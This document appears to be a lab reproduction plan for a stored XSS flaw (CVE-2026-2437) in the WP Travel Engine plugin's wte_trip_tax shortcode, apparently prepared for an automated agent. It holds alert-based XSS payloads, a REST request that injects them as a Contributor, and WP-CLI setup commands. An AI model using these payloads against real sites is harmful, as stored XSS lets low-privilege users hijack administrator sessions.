Exploitation Research Plan: CVE-2026-2437 - WP Travel Engine Shortcode XSS

1. Vulnerability Summary

The WP Travel Engine plugin (up to version 6.7.5) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists within the handler for the wte_trip_tax shortcode. Due to insufficient sanitization of shortcode attributes (such as before, after, or taxonomy) and a failure to escape these values before they are returned/echoed in the HTML output, a user with Contributor level permissions or higher can inject malicious JavaScript into a post or page. This script executes in the context of any user (including Administrators) who views the affected content.

2. Attack Vector Analysis

• Shortcode: [wte_trip_tax]
• Vulnerable Attributes: Likely before, after, taxonomy, or class (common taxonomy shortcode parameters).
• Authentication Level: Contributor or higher (anyone with edit_posts capability).
• Endpoint: Any page or post where shortcodes can be processed (Post Editor).
• Payload Carry: The payload is embedded directly into the shortcode attributes within the post content.

3. Code Flow

1. Registration: The plugin registers the shortcode (likely in a main initialization file or a dedicated shortcode class) using add_shortcode( 'wte_trip_tax', 'callback_function' ).
2. Processing: When a post containing [wte_trip_tax ...] is rendered, WordPress calls the associated callback function.
3. Attribute Handling: The callback uses shortcode_atts() to merge user-provided attributes with defaults.
4. The Sink: The callback function likely constructs an HTML string and includes the attribute values directly. For example:

   // Inferred vulnerable pattern
   $output = $atts['before'] . $taxonomy_links . $atts['after'];
   return $output; // Missing esc_html() or wp_kses()
   

5. Rendering: The unescaped string is returned to the WordPress content filter and rendered in the browser, executing the XSS.

4. Nonce Acquisition Strategy

This vulnerability does not require a specific plugin-defined nonce for the execution of the XSS, as shortcodes are interpreted by the WordPress core rendering engine. However, to inject the payload, the attacker must be able to save a post.

Extraction via Browser (If needed for AJAX/Gutenberg):

If the exploit were to be performed via a specialized plugin endpoint that requires a nonce:

1. Identify Script Localization: Check for wp_localize_script in the plugin source.
2. Shortcode Presence: The plugin's assets are typically enqueued on Trip pages or pages using the shortcode.
3. Creation: Create a page with the shortcode using WP-CLI.
   wp post create --post_type=page --post_status=publish --post_content='[wte_trip_tax]'
4. Extraction:
   • Use browser_navigate to the created page.
   • Use browser_eval("window.wte_obj?.nonce") (Replace wte_obj with the actual localization key found in source, though for standard shortcode XSS, this is unnecessary).

5. Exploitation Strategy

The goal is to demonstrate that a Contributor can inject a script that executes for an Administrator.

Step-by-Step Plan:

1. Login as Contributor: Obtain cookies for a user with the Contributor role.
2. Prepare Payload: Use a standard XSS payload that breaks out of common HTML contexts.
   [wte_trip_tax before="<script>alert(document.domain)</script>"]
3. Inject via Post Creation: Use the http_request tool to create or update a post with the payload. Since we are simulating a Contributor, we will use the WordPress REST API or the standard post.php endpoint.
4. Trigger XSS: Navigate to the published post as an Administrator.

Required HTTP Request (Post Creation):

URL: http://localhost:8080/wp-json/wp/v2/posts
Method: POST
Headers:

• Content-Type: application/json
• Authorization: [Contributor Auth Header]
  Body:

{
  "title": "Trip Overview",
  "content": "[wte_trip_tax before=\"<img src=x onerror=alert('CVE-2026-2437')>\"]",
  "status": "pending"
}

Note: Contributors usually "Submit for Review" (pending), but an Admin viewing the "Preview" or "Edit" page will still trigger the XSS.

6. Test Data Setup

1. Target User: Ensure a user with role contributor exists.
   wp user create attacker attacker@example.com --role=contributor --user_pass=password123
2. Target Trip (Optional): Some taxonomy shortcodes require a valid post ID or the context of a specific post type. If the shortcode fails without a "Trip", create one:
   wp post create --post_type=trip --post_title="Sample Trip" --post_status=publish
3. Payload Page: Create a page containing the shortcode.
   wp post create --post_type=post --post_author=[AttackerID] --post_content='[wte_trip_tax before="<script>alert(1)</script>"]' --post_status=pending

7. Expected Results

• When an Administrator views the "Pending" post or the "Preview" of the post in the WordPress dashboard, an alert box with CVE-2026-2437 (or 1) should appear.
• Inspecting the page source should reveal the raw <script> or <img> tag inside the wp-travel-engine output container.

8. Verification Steps

1. Check Database: Verify the payload is stored in the wp_posts table.
   wp db query "SELECT post_content FROM wp_posts WHERE post_content LIKE '%wte_trip_tax%';"
2. Frontend Inspection: Check the HTTP response of the rendered post for the unescaped payload.
   • Use http_request to GET the post URL.
   • Search the body for <img src=x onerror=alert.

9. Alternative Approaches

• Attribute Breakout: If before is sanitized but class is not:
  [wte_trip_tax class="\" onmouseover=\"alert(1)\""]
• Taxonomy Injection: If the taxonomy attribute is reflected:
  [wte_trip_tax taxonomy="<script>alert(1)</script>"]
• Gutenberg Block: The plugin likely provides a Gutenberg block that wraps this shortcode. The exploit can also be tested by saving a block with malicious attributes via the REST API.